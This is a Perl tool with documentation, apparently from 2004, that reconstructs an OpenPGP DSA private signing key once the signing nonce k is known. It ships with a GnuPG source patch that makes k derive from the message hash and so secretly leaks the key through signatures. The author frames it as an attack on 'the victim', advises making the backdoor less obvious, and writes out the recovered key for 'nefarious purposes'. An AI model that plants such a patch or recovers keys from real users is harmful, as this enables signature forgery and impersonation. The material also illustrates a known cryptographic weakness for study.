#!/usr/bin/perl -w

# openpgp dsa subliminal key reconstructor
# version 1.06, 07-08-2004
# written by seth hardy - shardy@aculei.net
# 
# this program will reconstruct a private dsa signing key if you know the
# intermediate value k used in the signing process.
#
# how would i know that value, you ask? easy! use the patch to gpg in the
# documentation to force the intermediate value to the hash mod q. or, change
# the patch and give the value of k as a command line argument, if you don't
# want to be so incredibly obvious. for pgp or other programs, you're on your
# own, although the gnupg patch should make it obvious how to go about doing
# it using a different program.
#
# credits: 
# a lot of code was stolen from the Crypt::OpenPGP implementation
# which is (c) 2001 benjamin trott (ben@rhumba.pair.com). this program
# wouldn't have been written in perl if it weren't for this handy dandy
# library. thanks!
#
# copyright (c) 2004 seth hardy (shardy@aculei.net). all rights reserved.
# this program is free software; you can redistribute it and/or modify it
# under the same terms as perl itself.
#
# references:
# [0] Fips 186--2, Digital Signature Standard, Federal Information Processing
# Standards Publication 186--2, US Dept. of Commerce/NIST National Institute
# of Standards and Technology, 1994.
# [1] Gustavus J. Simmons. Subliminal communication is easy using the DSA.
# Lecture Notes in Computer Science, 765:218--232, 1994.


use strict;

use Getopt::Long;
use Pod::Usage;
use Math::Pari;
use Crypt::OpenPGP;
use Crypt::OpenPGP::Armour;
use Crypt::OpenPGP::Key qw ( Key );
use Crypt::DSA::Util qw( mod_inverse mod_exp bin2mp );

# don't laugh at my shitty perl code.
# this is my third or fourth program in perl evar!

# let's get us some command line arguments.
my %cl;
GetOptions(\%cl, 
  "message=s", 
  "signature=s",
  "keyfile=s",
  "keyring=s",
  "help|?",
  "verbose",
  "k=s",
  "keypass=s"
);

# verbosity level!
my $verbose = 1 if $cl{verbose};

# yell at the user if they didn't comply with the fancypants getopts syntax
pod2usage(-verbose => 2) if $cl{help};
pod2usage(
  -verbose => 0,
  -message => "\nyou need to specify both the message and signature.\n" .
	      "if you don't know the fancypants getopts syntax, use --help.\n"
) if not ($cl{message} and $cl{signature});
pod2usage(
  -verbose => 0,
  -message => "\nERROR: the value of k must be in decimal.\n"
) if ($cl{k} and $cl{k} =~ /[^0-9]/);

# write the header. shameless self promotion included.
print "\ndsa subliminally leaked key reconstructor\n";
print "brought to you by shardy. enjoy!\n\n";

# algorithm defintions
my %alg = ( 1  => "RSA", 16 => "ElGamal", 17 => "DSA" );

# intialization parameters for Crypt::OpenPGP
my %arg = ( Compat => 'GnuPG', 
            Files => $cl{message}, 
	    SigFile => $cl{signature}
);
$arg{PubRing} = $cl{altkeyring} if $cl{altkeyring};

# initialize Crypt::OpenPGP
my $pgp = Crypt::OpenPGP->new( %arg ) or
  die Crypt::OpenPGP->errstr;
  
# let's start!
print "[ reading signature: ]\n";
my($data,$sig); # the message and its signature

# TODO: check if signature is inline or detached, and use Data/Filename
my %param = (Filename => $cl{signature});

# if the signature is inline, parse it
my $msg = Crypt::OpenPGP::Message->new( %param ) or
  die "  : reading signature failed: " . 
    lc(Crypt::OpenPGP::Message->errstr) . "\n";
my @pieces = $msg->pieces;
if (ref($pieces[0]) eq 'Crypt::OpenPGP::Compressed') {
  $data = $pieces[0]->decompress or
    die "  : decompression error: " . lc($pieces[0]->errstr);
  $msg = Crypt::OpenPGP::Message->new( Data => $data ) or
    die "  : reading decompressed data failed: " . 
      lc(Crypt::OpenPGP::Message->errstr) . "\n";
  @pieces = $msg->pieces;
}
if (ref($pieces[0]) eq 'Crypt::OpenPGP::OnePassSig') {
  ($data, $sig) = @pieces[1,2];
} elsif (ref($pieces[0]) eq 'Crypt::OpenPGP::Signature') {
  ($sig, $data) = @pieces[0,1];
} else {
  die "  : generic error with sigfile content.\n";
}

# check to make sure sig is a DSA (type 17) sig
print "   : version $sig->{version}," .
  " type $sig->{pk_alg} ($alg{$sig->{pk_alg}})... ";
die "aborting.\n"
  unless $sig->{pk_alg} == 17;
print "ok.\n";

my $sigkey = uc(unpack('H*',$sig->key_id)); # keyid on the signature
print "   : uid 0x$sigkey, ts $sig->{timestamp}\n";

# no sig or detached sig
unless ($data) {
    my @files = ref($param{Files}) eq 'ARRAY' ? 
      @{ $param{Files} } : $param{Files};
    my $fdata = $pgp->_read_files(@files);
    die "  : reading data files failed: " . lc($pgp->errstr). "\n"
      unless defined $fdata;
    $data = Crypt::OpenPGP::Plaintext->new( Data => $fdata );
}

# get the hash
my $dgst = $sig->hash_data($data) or die "   : " . $sig->errstr . "\n";

my $hizzash = uc(unpack("H*",$dgst)); # the hash hexified
print "   : hash 0x$hizzash\n";
print "   : signature values (r,s)\n";
if ( $verbose ) {
  print "   : r = $sig->{r}\n";
  print "   : s = $sig->{s}\n";
}

print "[ reading public key 0x" . uc(substr($sigkey,-8)) . ": ]\n";

# the signer's signing key in a certificate and the entire public keyblock
my($cert, $kb); 

# look up the public key from the user's public keyring
print "   : looking up key in " . $pgp->{cfg}->get('PubRing') . "\n";
my $ring = Crypt::OpenPGP::KeyRing->new( 
  Filename => $pgp->{cfg}->get('PubRing') 
);
$kb = $ring->find_keyblock_by_keyid($sig->key_id) or
  die "   : could not find public key with keyid $sigkey\n";
$cert = $kb->signing_key;

my $keyid = $cert->key_id_hex; # the full hex keyid of the signing key

# blah blah blah
print "   : fingerprint 0x" . $cert->fingerprint_hex . "\n";
print "   : version " . $cert->version . ", ";
print "subkey? " . ($cert->is_subkey ? "yes" : "no") . "\n";
if ( $verbose ) {
  print "   : p = prime\n" . $cert->{key}->p . "\n";
  print "   : q = prime factor of (p-1)\n". $cert->{key}->q . "\n";
  print "   : g = generator\n" . $cert->{key}->g . "\n";
  print "   : y = public key\n". $cert->{key}->y . "\n";
}
print "   : public values (p,q,g,y)\n";

# verify the signature
print "[ verifying signature: ]\n";
$cert->key->public_key->verify($sig, $dgst) or
  die "   : ERROR! invalid signature.\n\n";
print "   : valid signature.\n";

# compute private key
print "[ computing secret parameters: ]\n";
my $h = bin2mp($dgst); # the hash in pari format
my $k;
$k = $cl{k} ? PARI($cl{k})  : $h % $cert->{key}->q;
print "   : k = intermediate value\n$k\n" if $verbose;
my $x = ($sig->{s} * $k - $h) * (1/$sig->{r}) % $cert->{key}->q;
$x = $x % $cert->{key}->q;

print "   : x  = $x\n";
print "   : y' = public key?\n" 
  . mod_exp($cert->{key}->g,$x,$cert->{key}->p) . "\n" if $verbose;

(mod_exp($cert->{key}->g,$x,$cert->{key}->p) == $cert->{key}->y) or
  die "   : ERROR! secret key not correct.\n\n";
  
print "   : secret key verified: g**x == y (mod p)\n";

print "[ generating gpg secret key: ]\n";

# create the secret key
my $sec = Crypt::OpenPGP::Key::Secret->new("DSA");
$sec->x( $x );
for ( qw( p q g y size bytesize ) ) {
  $sec->$_( $cert->key->public_key->$_ );
}
print "   : openpgp secret dsa key created.\n" if $verbose;

# wrap the secret key in a certificate
my $certpass = $cl{keypass} ? "$cl{keypass}" : "yar!";
my $seccert = Crypt::OpenPGP::Certificate->new(
  Key        => $sec,
  Passphrase => $certpass,
  Version    => 4,
) or die Crypt::OpenPGP::Certificate->errstr;
$seccert->{timestamp} = $cert->{timestamp};
$seccert->{key_id} = $cert->{key_id};
print "   : secret key wrapped in certificate.\n" if $verbose;

# make a keyblock and add the secret key certificate to the keyblock
my $kb_sec = Crypt::OpenPGP::KeyBlock->new;
$kb_sec->add($seccert);
print "   : certificate 0x" . $seccert->key_id_hex . " added to keyblock.\n";
print "   : the key password is \"$certpass\"\n";

# add the userid from the public keyblock to the private keyblock
my $id = Crypt::OpenPGP::UserID->new( Identity => $kb->primary_uid );
$kb_sec->add($id);
print "   : identity \"" . $kb->primary_uid . "\" added to keyblock.\n";

# create a self-sig on the public key certificate and add to the keyblock
my $siggy = Crypt::OpenPGP::Signature->new(
  Data    => [ $cert, $id ],
  Key     => $seccert,
  Version => 4,
  Type    => 0x13,
) or die Crypt::OpenPGP::Signature->errstr;
$kb_sec->add($siggy);
print "   : key self signature created and added to keyblock.\n";

# write the keyblock to disk in armored format
my $kf = $cl{keyfile} ? $cl{keyfile} : "seckey.asc";
open KEYFILE, ">$kf";
print KEYFILE Crypt::OpenPGP::Armour->armour(
  Data => $kb_sec->save,
  Object => 'PRIVATE KEY BLOCK',
  Headers => {
    Comment => 'subliminally stolen by subdsakey!',
  },
);
close KEYFILE;
print "   : key armored and written to disk as $kf.\n\n";

__END__

=head1 NAME

subdsakey.pl - subliminally leaked openpgp/dsa key reconstructor

=head1 SYNOPSIS

subdsakey.pl [options] --message=msgfile --signature=sigfile

=head1 DESCRIPTION

B<subdsakey.pl> will reconstruct a private dsa signing key if you know the
intermediate value k used in the signing process. to do this, you must have the
public key of the keypair, as well as a valid dsa digital signature (and the
signed message) created using the private key.

the easiest way to know the intermediate value used in the signing process is
to get the victim to use a patched version of their encryption program. an
example patch for the gnu privacy guard is included below.

B<subdsakey.pl> will write an ascii armored openpgp private key block
containing the v4 signing key, which can easily be imported back into gpg and
used for all sorts of nefarious purposes. yar!

note that B<subdsakey.pl> will not reconstruct any associated keys, including
encryption keys. however, a technique very similar to this can be used against
elgamal signatures (not encryption!), even if it's not as reliable (i.e.
not all possible messages can be sent subliminally, and some can't be
recovered).

=head1 GNUPG PATCH

after you untar the gpg source, apply the following patch to
B<gnupg-E<lt>versionE<gt>/cipher/dsa.c> to start subliminally leaking
signatures. 

it is recommended that once you get an idea of how to control
the value of k in gnupg, you change it to something other than the hash
mod q, so it's not THAT obvious.

 --- dsa.c       2004-06-12 20:45:42.675357368 -0400
 +++ dsa-patched.c       2004-06-12 20:45:53.315739784 -0400
 @@ -286,7 +286,8 @@
      MPI tmp;
  
      /* select a random k with 0 < k < q */
 -    k = gen_k( skey->q );
 +    k = mpi_alloc_secure( mpi_get_nlimbs(skey->q) );
 +    mpi_fdiv_r( k, hash, skey->q );
  
      /* r = (a^k mod p) mod q */
      mpi_powm( r, skey->g, k, skey->p );

note that if you just copy/paste this there will be leading whitespace
in your patch file.

=head1 OPTIONS

=over 8

=item B<--help>

prints this documentation and exits. but you already knew that.

=item B<--verbose>

prints verbose output, for people who like that kind of thing.

=item B<--k=value>

the intermediate value k used in the signing process. note that the value
here must be in decimal. if not specified, this defaults to the B<hash mod
q>, ready for use with the above patch.

=item B<--keyfile=file>

the name of the file which will contain the secret key. this defaults to
B<seckey.asc>.

=item B<--keyring=file>

location of an alternate public key ring to look for the public key in. this
defaults to B<~/.gnupg/pubring.gpg>.

=item B<--keypass=password>

the password used to lock the secret key. you'll need this to actually use
the secret key once you've imported it to your keyring. if no password is 
specified, this defaults to B<"yar!">.

=back

=head1 CREDITS

a lot of code was stolen from the Crypt::OpenPGP implementation
which is (c) 2001 benjamin trott (ben@rhumba.pair.com). this program
wouldn't have been written in perl if it weren't for this handy dandy
library. thanks! i bet this isn't what you had in mind when you wrote it.

=head1 COPYRIGHT

copyright (c) 2004 seth hardy (shardy@aculei.net). all rights reserved. this
program be free software, matey; you can redistribute it and/or modify it
under the same terms as perl itself.

=head1 REFERENCES

[0] Fips 186--2, Digital Signature Standard, Federal Information Processing
Standards Publication 186--2, US Dept. of Commerce/NIST National Institute
of Standards and Technology, 1994.

[1] Gustavus J. Simmons. Subliminal communication is easy using the DSA.
Lecture Notes in Computer Science, 765:218--232, 1994.

=head1 AUTHOR

written by seth hardy (shardy@aculei.net).

since this is all about crypto, here are my key ids and fingerprints. who 
knows, maybe i wrote all of this just to distribute a subliminal message by
my dsa signing key?

 pub  1024D/5E345628 2002-01-24 Seth Hardy <shardy@aculei.net>
 Key fingerprint = BF63 A0A7 3BCA 1D7D EDE1  63BF 46FB 95D9 5E34 5628
 sub  2048g/DFEEA07D 2002-01-24
 
 pub  2048R/01B0DA57 2002-01-24 Seth Hardy <shardy@aculei.net>
 Key fingerprint = 7A 69 1D 9D 26 69 66 49  80 0D F6 50 7B 30 64 CC

=cut